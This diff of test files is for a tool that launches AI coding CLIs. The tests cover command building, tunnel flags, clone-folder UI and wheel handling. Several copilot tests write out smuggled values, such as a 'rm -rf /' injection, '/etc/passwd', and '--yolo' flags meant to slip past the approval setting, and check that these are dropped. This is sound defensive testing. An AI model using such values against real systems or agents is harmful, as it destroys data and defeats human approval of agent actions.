const mode = (id: string) => STOCK_CLIS.find((e) => (e.id as string) === id)?.capabilities.wheelForward;
|
||||
expect(mode('copilot')).toEqual({ mode: 'always' });
|
||||
expect(mode('claude')).toEqual({ mode: 'version-gated', minVersion: '2.1.187' });
|
||||
const forwarding = STOCK_CLIS.filter((e) => e.capabilities.wheelForward.mode !== 'never').map(
|
||||
(e) => e.id as string
|
||||
);
|
||||
expect(forwarding.sort()).toEqual(['claude', 'codex', 'copilot', 'pi']);
|
||||
expect(CliEntrySchema.safeParse(baseEntry('copilot')).success).toBe(true);
|
||||
});
|
||||
|
||||
it('declares transcriptPageKeys for exactly the CLIs measured to page on PageUp/PageDown', () => {
|
||||
// claude (repaint mode), codex and opencode (both on the alternate screen) were
|
||||
// measured paging their own transcript on PageUp/PageDown; no other stock entry has been.
|
||||
// claude (repaint mode), codex, opencode, copilot and jcode (all on the alternate screen)
|
||||
// were measured paging their own transcript on PageUp/PageDown; no other stock entry has been.
|
||||
// pi pages too when fullscreen, and stays out on purpose: in `tuiMode: regular` the same keys
|
||||
// move the caret of a multi-line draft.
|
||||
const paging = STOCK_CLIS.filter((e) => e.capabilities.transcriptPageKeys === true).map((e) => e.id as string);
|
||||
expect(paging.sort()).toEqual(['claude', 'codex', 'opencode']);
|
||||
expect(paging.sort()).toEqual(['claude', 'codex', 'copilot', 'jcode', 'opencode']);
|
||||
});
|
||||
});
|
||||
|
||||
describe('observed mouse-tracking wheel policy', () => {
|
||||
it('advertises and validates tracked Codex forwarding without a fictitious minimum version', () => {
|
||||
const codex = STOCK_CLIS.find((e) => e.id === 'codex')!;
|
||||
expect(codex.capabilities.wheelForward).toEqual({ mode: 'always' });
|
||||
expect(CliEntrySchema.safeParse(codex).success).toBe(true);
|
||||
expect(codex.capabilities.transcriptPageKeys).toBe(true);
|
||||
});
|
||||
});
|
||||
@@ -102,6 +102,30 @@ describe('claude', () => {
|
||||
'claude --dangerously-skip-permissions --session-id "0f9c2b14-1111-2222-3333-444455556666"'
|
||||
);
|
||||
});
|
||||
|
||||
it('folds the keep-warm idleCompaction opt-out LAST into the one --settings JSON, and only when asked', () => {
|
||||
const launch = {
|
||||
claudeCliVersion: '2.1.300',
|
||||
statusLineCommand: '/x/exporter.sh',
|
||||
advisorModel: 'opus',
|
||||
sessionName: 'w1 alpha',
|
||||
};
|
||||
// Keep-warm off: byte-identical to the launch from before keep-warm existed.
|
||||
expect(claude(launch)).toBe(
|
||||
'claude --dangerously-skip-permissions --session-id "0f9c2b14-1111-2222-3333-444455556666" ' +
|
||||
'--settings \'{"advisorModel":"opus","statusLine":{"type":"command","command":"/x/exporter.sh"}}\' --name "w1 alpha"'
|
||||
);
|
||||
expect(claude({ ...launch, effort: 'ultracode', idleCompactionOff: true })).toBe(
|
||||
'claude --dangerously-skip-permissions --session-id "0f9c2b14-1111-2222-3333-444455556666" ' +
|
||||
'--settings \'{"ultracode":true,"advisorModel":"opus","statusLine":{"type":"command","command":"/x/exporter.sh"},"idleCompaction":false}\' --name "w1 alpha"'
|
||||
);
|
||||
// The builder folds the key whenever asked, even with nothing else in the JSON (the
|
||||
// launch only asks alongside the exporter, but the builder does not rely on that).
|
||||
expect(claude({ idleCompactionOff: true })).toBe(
|
||||
'claude --dangerously-skip-permissions --session-id "0f9c2b14-1111-2222-3333-444455556666" ' +
|
||||
'--settings \'{"idleCompaction":false}\''
|
||||
);
|
||||
});
|
||||
});
|
||||
|
||||
describe('opencode', () => {
|
||||
@@ -147,6 +171,15 @@ describe('codex', () => {
|
||||
expect(cx({ model: 'gpt-5', resumeSessionId: 'roll_42' })).toBe('codex --model gpt-5 resume roll_42');
|
||||
});
|
||||
|
||||
it('carries an Ollama-style `qwen3:32b` model id, and still drops a leading-flag shape', () => {
|
||||
// `model-plain-colon`: the custom-model feature forces the selected id onto this param,
|
||||
// and ids like `qwen3:32b` carry a colon. The leading-alphanumeric rule is what keeps a
|
||||
// flag from riding the flag, so `:x` and `-x` must still drop out.
|
||||
expect(cx({ model: 'qwen3:32b' })).toBe('codex --model qwen3:32b');
|
||||
expect(cx({ model: ':leading' })).toBe('codex');
|
||||
expect(cx({ model: '-yolo' })).toBe('codex');
|
||||
});
|
||||
|
||||
it('sends reasoning effort as one model_reasoning_effort config value, for every level', () => {
|
||||
for (const level of CODEX_REASONING_EFFORTS) {
|
||||
expect(cx({ reasoningEffort: level })).toBe(`codex --config model_reasoning_effort=${level}`);
|
||||
@@ -158,6 +191,45 @@ describe('codex', () => {
|
||||
'codex --model gpt-5 --config model_reasoning_effort=high resume roll_42'
|
||||
);
|
||||
});
|
||||
|
||||
it('emits the sandbox network-access config only when asked', () => {
|
||||
expect(cx({ networkAccess: true })).toBe('codex --config sandbox_workspace_write.network_access=true');
|
||||
expect(cx({ networkAccess: false })).toBe('codex');
|
||||
});
|
||||
|
||||
it('never pairs network access with a sandbox mode (owner decision, 2026-11-06)', () => {
|
||||
// A folder codex runs read-only must stay read-only: it keeps the network closed and asks
|
||||
// per command. `--sandbox workspace-write` here would also grant write access to it.
|
||||
for (const version of ['0.162.0', null]) {
|
||||
const command = render({
|
||||
mode: 'codex',
|
||||
sessionId: SID,
|
||||
codexConfig: { networkAccess: true },
|
||||
claudeCliVersion: version,
|
||||
});
|
||||
expect(command).not.toContain('--sandbox');
|
||||
expect(command).not.toContain('-s ');
|
||||
}
|
||||
});
|
||||
|
||||
// The `claudeCliVersion` option is the version every gate of THIS entry is measured
|
||||
// against (the name predates a second gated CLI); undefined probes codex itself.
|
||||
const cxv = (version: string | null, codexConfig?: SpawnBridgeOptions['codexConfig']) =>
|
||||
render({ mode: 'codex', sessionId: SID, codexConfig, claudeCliVersion: version });
|
||||
|
||||
it('runs without the shared app-server daemon from 0.162.0, and fails closed below or unknown', () => {
|
||||
expect(cxv('0.162.0')).toBe('codex --no-daemon');
|
||||
expect(cxv('0.166.0')).toBe('codex --no-daemon');
|
||||
expect(cxv('0.161.9')).toBe('codex');
|
||||
expect(cxv(null)).toBe('codex');
|
||||
});
|
||||
|
||||
it('keeps every flag ahead of the resume subcommand with the daemon flag on', () => {
|
||||
expect(cxv('0.162.0', { dangerouslyBypassApprovals: true, networkAccess: true, resumeSessionId: 'roll_42' })).toBe(
|
||||
'codex --no-daemon --dangerously-bypass-approvals-and-sandbox ' +
|
||||
'--config sandbox_workspace_write.network_access=true resume roll_42'
|
||||
);
|
||||
});
|
||||
});
|
||||
|
||||
describe('gemini', () => {
|
||||
@@ -254,6 +326,27 @@ describe('grok', () => {
|
||||
});
|
||||
});
|
||||
|
||||
describe('jcode', () => {
|
||||
const jc = (jcodeConfig?: SpawnBridgeOptions['jcodeConfig']) => render({ mode: 'jcode', sessionId: SID, jcodeConfig });
|
||||
|
||||
it('spawns bare by default: no bypass flag exists to send', () => {
|
||||
expect(jc()).toBe('jcode');
|
||||
});
|
||||
|
||||
it('passes --model and --resume', () => {
|
||||
expect(jc({ model: 'claude-opus-4-8' })).toBe('jcode --model claude-opus-4-8');
|
||||
expect(jc({ resumeSessionId: 'session_fox_1792160401272_f5b47ce47d631006' })).toBe(
|
||||
'jcode --resume session_fox_1792160401272_f5b47ce47d631006'
|
||||
);
|
||||
expect(jc({ model: 'gpt-5.5', resumeSessionId: 'fox' })).toBe('jcode --model gpt-5.5 --resume fox');
|
||||
});
|
||||
|
||||
it('drops a resume value that would read as a flag of its own', () => {
|
||||
// --resume's value is optional in jcode, so `--resume --no-update` is two flags.
|
||||
expect(jc({ resumeSessionId: '--no-update' })).toBe('jcode');
|
||||
});
|
||||
});
|
||||
|
||||
describe('deepseek', () => {
|
||||
const ds = (deepSeekConfig?: SpawnBridgeOptions['deepSeekConfig']) =>
|
||||
render({ mode: 'deepseek', sessionId: SID, deepSeekConfig });
|
||||
@@ -320,3 +413,72 @@ describe('unsafe values are DROPPED, never escaped into the command', () => {
|
||||
expect(cmd).not.toContain('..');
|
||||
});
|
||||
});
|
||||
|
||||
describe('copilot', () => {
|
||||
const cp = (copilotConfig?: SpawnBridgeOptions['copilotConfig']) =>
|
||||
render({ mode: 'copilot' as never, sessionId: SID, copilotConfig });
|
||||
|
||||
it("spawns bare by default, in Copilot's own Manual Approval mode", () => {
|
||||
expect(cp()).toBe('copilot');
|
||||
});
|
||||
|
||||
it('emits --yolo only when asked, with the model', () => {
|
||||
expect(cp({ allowAll: true, model: 'claude-sonnet-5.5' })).toBe('copilot --yolo --model claude-sonnet-5.5');
|
||||
expect(cp({ allowAll: false })).toBe('copilot');
|
||||
});
|
||||
|
||||
it("pins the tab's name as --name", () => {
|
||||
expect(render({ mode: 'copilot' as never, sessionId: SID, sessionName: 'w4-Codeman' } as never)).toBe(
|
||||
'copilot --name "w4-Codeman"'
|
||||
);
|
||||
});
|
||||
|
||||
it('drops --name next to --resume and --continue, which copilot refuses to combine', () => {
|
||||
const named = (copilotConfig: SpawnBridgeOptions['copilotConfig']) =>
|
||||
render({ mode: 'copilot' as never, sessionId: SID, sessionName: 'w4-Codeman', copilotConfig } as never);
|
||||
expect(named({ resumeSessionId: '0c02c30f' })).toBe('copilot --resume 0c02c30f');
|
||||
expect(named({ continueSession: true })).toBe('copilot --continue');
|
||||
expect(named({ allowAll: true, model: 'auto' })).toBe('copilot --yolo --name "w4-Codeman" --model auto');
|
||||
});
|
||||
|
||||
it('prefers an explicit resume id over --continue', () => {
|
||||
expect(cp({ resumeSessionId: '0c02c30f-3383-4139-8b52-b28abad2ad43' })).toBe(
|
||||
'copilot --resume 0c02c30f-3383-4139-8b52-b28abad2ad43'
|
||||
);
|
||||
expect(cp({ continueSession: true })).toBe('copilot --continue');
|
||||
expect(cp({ continueSession: true, resumeSessionId: '0c02c30f' })).toBe('copilot --resume 0c02c30f');
|
||||
});
|
||||
|
||||
it('drops unsafe values rather than escaping them', () => {
|
||||
expect(cp({ model: 'a`b' })).toBe('copilot');
|
||||
expect(cp({ resumeSessionId: 'my session; rm -rf /' })).toBe('copilot');
|
||||
});
|
||||
|
||||
// `--resume`'s value is optional, so `--resume --yolo` would make `--yolo` its own flag and get
|
||||
// around the allowAll clamp. A resume value must start with an alphanumeric.
|
||||
it('drops a resume value that would be read as a flag', () => {
|
||||
for (const resumeSessionId of ['--yolo', '-n', '--allow-all-tools', '.', '..', '.hidden']) {
|
||||
expect(cp({ resumeSessionId })).toBe('copilot');
|
||||
}
|
||||
expect(cp({ allowAll: false, resumeSessionId: '--yolo' })).toBe('copilot');
|
||||
// A plain word is still passed through (a session NAME also resumes).
|
||||
expect(cp({ resumeSessionId: 'my-feature' })).toBe('copilot --resume my-feature');
|
||||
});
|
||||
|
||||
// `--model --yolo` would make `--yolo` its own flag and get around the allowAll clamp, so a model id
|
||||
// starts with an alphanumeric too. A provider/id value (the `/`) is still accepted.
|
||||
it('drops a model value that would be read as a flag', () => {
|
||||
for (const model of ['--yolo', '-n', '--allow-all-tools', '.', '/etc/passwd']) {
|
||||
expect(cp({ model })).toBe('copilot');
|
||||
expect(cp({ allowAll: false, model })).toBe('copilot');
|
||||
}
|
||||
expect(cp({ model: 'claude-sonnet-5.5' })).toBe('copilot --model claude-sonnet-5.5');
|
||||
expect(cp({ model: 'openai/gpt-5' })).toBe('copilot --model openai/gpt-5');
|
||||
});
|
||||
|
||||
it('never puts a credential on the command line', () => {
|
||||
const cmd = cp({ allowAll: true, model: 'auto' }) ?? '';
|
||||
expect(cmd).not.toContain('token');
|
||||
expect(cmd).not.toContain('key');
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,102 @@
|
||||
/**
|
||||
* @fileoverview Issue #706 tunnel flag plumbing through the real command parser into daemon, foreground and service launches. Launch boundaries are mocked, so the CLI's valid nonzero port never binds a socket or creates a service unit.
|
||||
*/
|
||||
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
|
||||
|
||||
const launches = vi.hoisted(() => ({
|
||||
startDaemon: vi.fn(),
|
||||
startWebServer: vi.fn(),
|
||||
installService: vi.fn(),
|
||||
stop: vi.fn(),
|
||||
}));
|
||||
|
||||
vi.mock('../src/daemon-control.js', async (importOriginal) => ({
|
||||
...(await importOriginal<typeof import('../src/daemon-control.js')>()),
|
||||
startDaemon: launches.startDaemon,
|
||||
}));
|
||||
vi.mock('../src/service-installer.js', async (importOriginal) => ({
|
||||
...(await importOriginal<typeof import('../src/service-installer.js')>()),
|
||||
installService: launches.installService,
|
||||
}));
|
||||
vi.mock('../src/web/server.js', () => ({ startWebServer: launches.startWebServer }));
|
||||
|
||||
const SIGNALS = ['SIGTERM', 'SIGINT', 'SIGHUP'] as const;
|
||||
let originalListeners: Map<NodeJS.Signals, ReturnType<typeof process.listeners>>;
|
||||
let exitSpy: ReturnType<typeof vi.spyOn<typeof process, 'exit'>>;
|
||||
|
||||
beforeEach(() => {
|
||||
// Commander retains parsed option values; use a fresh real program for each invocation.
|
||||
vi.resetModules();
|
||||
vi.clearAllMocks();
|
||||
originalListeners = new Map(SIGNALS.map((signal) => [signal, process.listeners(signal)]));
|
||||
exitSpy = vi.spyOn(process, 'exit').mockImplementation((code) => {
|
||||
throw new Error(`Unexpected process.exit(${code})`);
|
||||
});
|
||||
launches.startDaemon.mockResolvedValue({ ok: true, url: 'http://127.0.0.1:8080', pid: 123, logPath: 'web.log' });
|
||||
launches.stop.mockResolvedValue(undefined);
|
||||
launches.startWebServer.mockResolvedValue({ stop: launches.stop });
|
||||
launches.installService.mockResolvedValue({ ok: true, message: 'Installed', unitPath: 'codeman-web.service' });
|
||||
});
|
||||
|
||||
afterEach(() => {
|
||||
for (const signal of SIGNALS) {
|
||||
for (const listener of process.listeners(signal)) {
|
||||
if (!originalListeners.get(signal)!.includes(listener)) process.removeListener(signal, listener);
|
||||
}
|
||||
}
|
||||
vi.restoreAllMocks();
|
||||
});
|
||||
|
||||
const expectedOptions = (allowUnauthenticatedTunnel: boolean) => ({
|
||||
host: '127.0.0.1',
|
||||
port: 8080,
|
||||
https: false,
|
||||
basePath: '',
|
||||
titleHostname: undefined,
|
||||
allowUnauthenticatedNetwork: false,
|
||||
allowUnauthenticatedTunnel,
|
||||
multiuser: false,
|
||||
});
|
||||
|
||||
async function parse(args: string[], enabled: boolean) {
|
||||
const { program } = await import('../src/cli.js');
|
||||
await program.parseAsync([
|
||||
'node',
|
||||
'codeman',
|
||||
...args,
|
||||
'--port',
|
||||
'8080',
|
||||
'--host',
|
||||
'127.0.0.1',
|
||||
'--base-url',
|
||||
'/',
|
||||
...(enabled ? ['--allow-unauthenticated-tunnel'] : []),
|
||||
]);
|
||||
expect(exitSpy).not.toHaveBeenCalled();
|
||||
}
|
||||
|
||||
describe('tunnel flag CLI plumbing', () => {
|
||||
it.each([true, false])('web -d passes allowUnauthenticatedTunnel=%s to startDaemon', async (enabled) => {
|
||||
await parse(['web', '-d'], enabled);
|
||||
expect(launches.startDaemon.mock.calls).toEqual([[expectedOptions(enabled)]]);
|
||||
expect(launches.startWebServer.mock.calls).toEqual([]);
|
||||
expect(launches.installService.mock.calls).toEqual([]);
|
||||
});
|
||||
|
||||
it.each([true, false])('foreground web passes allowUnauthenticatedTunnel=%s as argument eight', async (enabled) => {
|
||||
await parse(['web'], enabled);
|
||||
expect(launches.startWebServer.mock.calls).toEqual([
|
||||
[8080, false, false, '127.0.0.1', undefined, false, '', enabled],
|
||||
]);
|
||||
expect(launches.startDaemon.mock.calls).toEqual([]);
|
||||
expect(launches.installService.mock.calls).toEqual([]);
|
||||
expect(launches.stop.mock.calls).toEqual([]);
|
||||
});
|
||||
|
||||
it.each([true, false])('service install passes allowUnauthenticatedTunnel=%s to installService', async (enabled) => {
|
||||
await parse(['service', 'install'], enabled);
|
||||
expect(launches.installService.mock.calls).toEqual([[expectedOptions(enabled)]]);
|
||||
expect(launches.startDaemon.mock.calls).toEqual([]);
|
||||
expect(launches.startWebServer.mock.calls).toEqual([]);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,188 @@
|
||||
/**
|
||||
* @fileoverview Frontend test for Clone Repo's custom folder (session-ui.js `cloneCase()` /
|
||||
* `_cloneTargetPath()`): the chosen folder is the PARENT, so the clone request carries
|
||||
* `<folder>/<case name>` exactly as Create New does, and without the checkbox no `path` is sent
|
||||
* (the server then clones to `~/codeman-cases/<name>`). The "Will clone into" line has to name the
|
||||
* folder the request will really use, so it follows every way the name or the folder can change:
|
||||
* typing, the URL, the preflight's suggested name and the Browse picker. Runs against the real
|
||||
* index.html markup.
|
||||
*
|
||||
* Port: none.
|
||||
*/
|
||||
import { readFileSync } from 'node:fs';
|
||||
import { JSDOM } from 'jsdom';
|
||||
import { describe, expect, it, vi } from 'vitest';
|
||||
|
||||
const INDEX_HTML = readFileSync(new URL('../src/web/public/index.html', import.meta.url), 'utf-8');
|
||||
const CONSTANTS_JS = readFileSync(new URL('../src/web/public/constants.js', import.meta.url), 'utf-8');
|
||||
const SESSION_UI_JS = readFileSync(new URL('../src/web/public/session-ui.js', import.meta.url), 'utf-8');
|
||||
|
||||
function bootClone() {
|
||||
const dom = new JSDOM(INDEX_HTML, { url: 'http://localhost/', runScripts: 'outside-only' });
|
||||
const win = dom.window as unknown as Window & typeof globalThis & { CodemanApp: new () => any };
|
||||
const run = (src: string) => (win as unknown as { eval: (s: string) => void }).eval(src);
|
||||
run('window.CodemanApp = function CodemanApp() {};');
|
||||
run(CONSTANTS_JS);
|
||||
run(SESSION_UI_JS);
|
||||
const app = new win.CodemanApp();
|
||||
app.showToast = () => {};
|
||||
app._setCloneStatus = () => {};
|
||||
app.closeCreateCaseModal = () => {};
|
||||
app.loadQuickStartCases = async () => {};
|
||||
app.saveLastUsedCase = async () => {};
|
||||
const fetchMock = vi.fn(async () => ({ json: async () => ({ success: true, data: {} }) }));
|
||||
(win as unknown as { fetch: unknown }).fetch = fetchMock;
|
||||
const doc = win.document;
|
||||
const set = (id: string, value: string) => ((doc.getElementById(id) as HTMLInputElement).value = value);
|
||||
set('cloneRepoUrl', 'https://github.com/opticon454/bifrost');
|
||||
set('cloneCaseName', 'bifrost');
|
||||
const preview = () => doc.getElementById('cloneCasePathPreview')?.textContent;
|
||||
return { app, win, doc, set, preview, fetchMock };
|
||||
}
|
||||
|
||||
async function requestBody(fetchMock: ReturnType<typeof vi.fn>) {
|
||||
const [url, init] = fetchMock.mock.calls[0] as unknown as [string, { body: string }];
|
||||
return { url, body: JSON.parse(init.body) };
|
||||
}
|
||||
|
||||
describe('Clone Repo custom folder', () => {
|
||||
it('sends <folder>/<case name> as the path and previews it', async () => {
|
||||
const { app, doc, set, fetchMock } = bootClone();
|
||||
(doc.getElementById('cloneCustomPathToggle') as HTMLInputElement).checked = true;
|
||||
set('cloneCasePath', '/mnt/user/Scripts/GitHub/opticon454/');
|
||||
app.updateCloneCasePathPreview();
|
||||
expect(doc.getElementById('cloneCasePathPreview')?.textContent).toBe(
|
||||
'Will clone into: /mnt/user/Scripts/GitHub/opticon454/bifrost'
|
||||
);
|
||||
await app.cloneCase();
|
||||
const { url, body } = await requestBody(fetchMock);
|
||||
expect(url).toBe('/api/cases/clone');
|
||||
expect(body.path).toBe('/mnt/user/Scripts/GitHub/opticon454/bifrost');
|
||||
expect(body.name).toBe('bifrost');
|
||||
});
|
||||
|
||||
it('follows the case name when it is edited', () => {
|
||||
const { app, doc, set } = bootClone();
|
||||
set('cloneCasePath', '~/projects');
|
||||
set('cloneCaseName', 'other');
|
||||
app.onCloneNameEdited();
|
||||
expect(doc.getElementById('cloneCasePathPreview')?.textContent).toBe('Will clone into: ~/projects/other');
|
||||
});
|
||||
|
||||
it('sends no path without the checkbox, even when the folder field still holds one', async () => {
|
||||
const { app, set, fetchMock } = bootClone();
|
||||
set('cloneCasePath', '/mnt/user/Scripts/GitHub/opticon454');
|
||||
await app.cloneCase();
|
||||
const { body } = await requestBody(fetchMock);
|
||||
expect(body.path).toBeUndefined();
|
||||
});
|
||||
|
||||
it.each([
|
||||
['/mnt/projects', '/mnt/projects/bifrost'],
|
||||
['/mnt/projects///', '/mnt/projects/bifrost'],
|
||||
[' /mnt/projects/ ', '/mnt/projects/bifrost'],
|
||||
['/', '/bifrost'],
|
||||
['~', '~/bifrost'],
|
||||
['~/', '~/bifrost'],
|
||||
])('joins the parent %j to the case name', (parent, target) => {
|
||||
const { app, set } = bootClone();
|
||||
set('cloneCasePath', parent);
|
||||
expect(app._cloneTargetPath()).toBe(target);
|
||||
});
|
||||
|
||||
it('follows the name the preflight settles on, which is the one the request will carry', async () => {
|
||||
const { app, doc, set, preview, fetchMock } = bootClone();
|
||||
(doc.getElementById('cloneCustomPathToggle') as HTMLInputElement).checked = true;
|
||||
set('cloneCasePath', '/mnt/projects');
|
||||
// The page's own guess for a URL copied out of a browser tab; the server reads the repo as `repo`.
|
||||
set('cloneCaseName', 'repo-tab-readme');
|
||||
app.updateCloneCasePathPreview();
|
||||
expect(preview()).toBe('Will clone into: /mnt/projects/repo-tab-readme');
|
||||
app._applyClonePreflight(
|
||||
{
|
||||
parse: { cloneable: true, suggestedName: 'repo', provider: 'GitHub', owner: 'owner', repo: 'repo' },
|
||||
gitAvailable: true,
|
||||
},
|
||||
'https://github.com/owner/repo?tab=readme'
|
||||
);
|
||||
expect(preview()).toBe('Will clone into: /mnt/projects/repo');
|
||||
await app.cloneCase();
|
||||
const { body } = await requestBody(fetchMock);
|
||||
expect(body).toMatchObject({ name: 'repo', path: '/mnt/projects/repo' });
|
||||
});
|
||||
|
||||
it('sends the folder Browse picked as the parent, and titles the picker as the parent', async () => {
|
||||
const { app, win, doc, preview, fetchMock } = bootClone();
|
||||
const open = vi.fn();
|
||||
(win as unknown as { PathPicker: { open: unknown } }).PathPicker = { open };
|
||||
(doc.getElementById('cloneCustomPathToggle') as HTMLInputElement).checked = true;
|
||||
app.openCloneCasePathPicker();
|
||||
const options = open.mock.calls[0]![0] as {
|
||||
title: string;
|
||||
directoriesOnly: boolean;
|
||||
allowNewFolder: boolean;
|
||||
onSelect(p: string): void;
|
||||
};
|
||||
expect(options.title).toBe('Choose the folder to clone inside');
|
||||
expect(options.directoriesOnly).toBe(true);
|
||||
// A parent that does not exist yet is refused, so the picker has to be able to make it.
|
||||
expect(options.allowNewFolder).toBe(true);
|
||||
options.onSelect('/mnt/projects');
|
||||
expect((doc.getElementById('cloneCasePath') as HTMLInputElement).value).toBe('/mnt/projects');
|
||||
expect(preview()).toBe('Will clone into: /mnt/projects/bifrost');
|
||||
await app.cloneCase();
|
||||
const { body } = await requestBody(fetchMock);
|
||||
expect(body.path).toBe('/mnt/projects/bifrost');
|
||||
});
|
||||
|
||||
it('asks for the parent folder before cloning when the checkbox is on and the field is empty', async () => {
|
||||
const { app, doc, fetchMock } = bootClone();
|
||||
app.showToast = vi.fn();
|
||||
(doc.getElementById('cloneCustomPathToggle') as HTMLInputElement).checked = true;
|
||||
await app.cloneCase();
|
||||
expect(app.showToast).toHaveBeenCalledWith('Choose the folder to clone inside', 'error');
|
||||
expect(fetchMock).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it('builds no target and sends nothing without a case name', async () => {
|
||||
const { app, doc, set, preview, fetchMock } = bootClone();
|
||||
app.showToast = vi.fn();
|
||||
(doc.getElementById('cloneCustomPathToggle') as HTMLInputElement).checked = true;
|
||||
set('cloneCasePath', '/mnt/projects');
|
||||
set('cloneCaseName', '');
|
||||
app.updateCloneCasePathPreview();
|
||||
expect(app._cloneTargetPath()).toBe('');
|
||||
expect(preview()).toBe(
|
||||
'Pick the folder the repository should be cloned inside. It goes into a subfolder named after the case.'
|
||||
);
|
||||
await app.cloneCase();
|
||||
expect(app.showToast).toHaveBeenCalledWith('Please enter a case name', 'error');
|
||||
expect(fetchMock).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it('refreshes the preview when the preflight replaces the case name', () => {
|
||||
const { app, doc, set } = bootClone();
|
||||
set('cloneRepoUrl', 'https://github.com/opticon454/bifrost?tab=readme-ov-file');
|
||||
set('cloneCaseName', 'bifrost-tab-readme-ov-file');
|
||||
set('cloneCasePath', '/mnt/projects');
|
||||
app.updateCloneCasePathPreview();
|
||||
expect(doc.getElementById('cloneCasePathPreview')?.textContent).toBe(
|
||||
'Will clone into: /mnt/projects/bifrost-tab-readme-ov-file'
|
||||
);
|
||||
app._applyClonePreflight({ gitAvailable: true, parse: { cloneable: true, suggestedName: 'bifrost' } }, '');
|
||||
expect((doc.getElementById('cloneCaseName') as HTMLInputElement).value).toBe('bifrost');
|
||||
expect(doc.getElementById('cloneCasePathPreview')?.textContent).toBe('Will clone into: /mnt/projects/bifrost');
|
||||
});
|
||||
|
||||
it('previews the name taken from the URL as it is typed', () => {
|
||||
const { app, doc, set, win } = bootClone();
|
||||
app.isCliAvailable = () => true; // lives in settings-ui.js, which this test does not load
|
||||
set('cloneCaseName', '');
|
||||
set('cloneCasePath', '/mnt/projects');
|
||||
set('cloneRepoUrl', 'https://github.com/opticon454/bifrost');
|
||||
app.onCloneUrlInput();
|
||||
win.clearTimeout(app._clonePreflightTimer);
|
||||
expect((doc.getElementById('cloneCaseName') as HTMLInputElement).value).toBe('bifrost');
|
||||
expect(doc.getElementById('cloneCasePathPreview')?.textContent).toBe('Will clone into: /mnt/projects/bifrost');
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,188 @@
|
||||
/**
|
||||
* Codex's selection menus (the "Implement this plan?" prompt, the /model, /permissions and /review pickers,
|
||||
* approvals, questions, the trust prompt) take PageUp and PageDown as "move the selection". Codeman turns
|
||||
* the wheel into those keys for a Codex pane that does not track the mouse (codex-cli 0.162 and 0.164 never
|
||||
* do), so a wheel notch walked the cursor through the options: one notch down landed on "No, stay in Plan
|
||||
* mode", one up on "Yes, implement this plan". The pane must consume the wheel there and send nothing.
|
||||
*
|
||||
* The screens are the live `tmux capture-pane` frames in test/fixtures/codex-dialogs/.
|
||||
*/
|
||||
import { readFileSync } from 'node:fs';
|
||||
import { resolve } from 'node:path';
|
||||
import vm from 'node:vm';
|
||||
import { describe, expect, it, vi } from 'vitest';
|
||||
import { STOCK_CLIS } from '../src/config/cli-registry/stock.js';
|
||||
|
||||
const PAGE_KEY_MODES = STOCK_CLIS.filter((e) => e.capabilities.transcriptPageKeys === true).map((e) => e.id);
|
||||
const publicDir = resolve(import.meta.dirname, '../src/web/public');
|
||||
const fixture = (name: string) => readFileSync(resolve(import.meta.dirname, 'fixtures/codex-dialogs', name), 'utf8');
|
||||
|
||||
/** A terminal whose screen shows `text`, padded to `rows` rows (what xterm holds for a hollow pane). */
|
||||
function terminalShowing(text: string, rows = 40) {
|
||||
const lines = text.replace(/\n+$/, '').split('\n');
|
||||
// A capture taller than the pane keeps its bottom rows (the menu), a shorter one sits at the top.
|
||||
const shown = lines.length > rows ? lines.slice(-rows) : lines;
|
||||
const screen = Array.from({ length: rows }, (_, i) => shown[i] ?? '');
|
||||
return {
|
||||
cols: 100,
|
||||
rows,
|
||||
modes: { mouseTrackingMode: 'none' },
|
||||
buffer: {
|
||||
active: {
|
||||
type: 'normal',
|
||||
baseY: 0,
|
||||
viewportY: 0,
|
||||
length: rows,
|
||||
getLine: (y: number) => (screen[y] === undefined ? undefined : { translateToString: () => screen[y] }),
|
||||
},
|
||||
},
|
||||
};
|
||||
}
|
||||
|
||||
function load() {
|
||||
const CodemanApp = function CodemanApp(this: any) {};
|
||||
const windowRef: Record<string, any> = { __codemanTranscriptPageKeys: PAGE_KEY_MODES };
|
||||
const context = vm.createContext({
|
||||
window: windowRef,
|
||||
CodemanApp,
|
||||
console: { warn: vi.fn(), log: vi.fn() },
|
||||
_crashDiag: { log: vi.fn() },
|
||||
performance: { now: () => 1_000 },
|
||||
requestAnimationFrame: () => 1,
|
||||
setTimeout: () => 1,
|
||||
clearTimeout: () => undefined,
|
||||
Blob: function Blob() {},
|
||||
URL: { createObjectURL: () => 'blob:x', revokeObjectURL: () => {} },
|
||||
Worker: function Worker(this: any) {
|
||||
this.postMessage = () => {};
|
||||
},
|
||||
MobileDetection: { isTouchDevice: () => true },
|
||||
DEC_SYNC_STRIP_RE: /\x1b\[\?2026[hl]/g,
|
||||
OSC52_STRIP_RE: /\x1b\]52;[^\x07\x1b]*(?:\x07|\x1b\\)/g,
|
||||
TERMINAL_CHUNK_SIZE: 32 * 1024,
|
||||
});
|
||||
vm.runInContext(readFileSync(resolve(publicDir, 'terminal-ui.js'), 'utf8'), context, { filename: 'terminal-ui.js' });
|
||||
return { app: new (CodemanApp as any)(), windowRef };
|
||||
}
|
||||
|
||||
/** Every dialog or menu a Codex pane can be sitting in, and the screens where PageUp must still page. */
|
||||
const MENUS = [
|
||||
'implement-plan.txt',
|
||||
'model-popup.txt',
|
||||
'permissions-popup.txt',
|
||||
'review-popup.txt',
|
||||
'exec-approval.txt',
|
||||
'exec-approval-w36.txt',
|
||||
'edit-approval.txt',
|
||||
'question.txt',
|
||||
'question-1of2.txt',
|
||||
'question-notes.txt',
|
||||
'trust-dialog.txt',
|
||||
'trust-dialog-back.txt',
|
||||
'trust-dialog-w40.txt',
|
||||
'exec-approval-w44.txt',
|
||||
'exec-approval-60x14.txt',
|
||||
'exec-approval-long-command.txt',
|
||||
'network-escalation-approval.txt',
|
||||
'question-option2-selected.txt',
|
||||
'question-2of2-submit-all.txt',
|
||||
'question-notes-typed.txt',
|
||||
'question-w36.txt', // the key hint one segment per row
|
||||
'question-w60.txt',
|
||||
];
|
||||
const NOT_MENUS = [
|
||||
'idle-start.txt',
|
||||
'composer-typed.txt',
|
||||
'working.txt',
|
||||
'after-approve.txt',
|
||||
'after-deny.txt',
|
||||
'after-question.txt',
|
||||
'slash-popup.txt',
|
||||
'transcript-quotes-dialog.txt',
|
||||
'composer-typed-dialog-text.txt',
|
||||
'composer-typed-dialog-text-w60.txt',
|
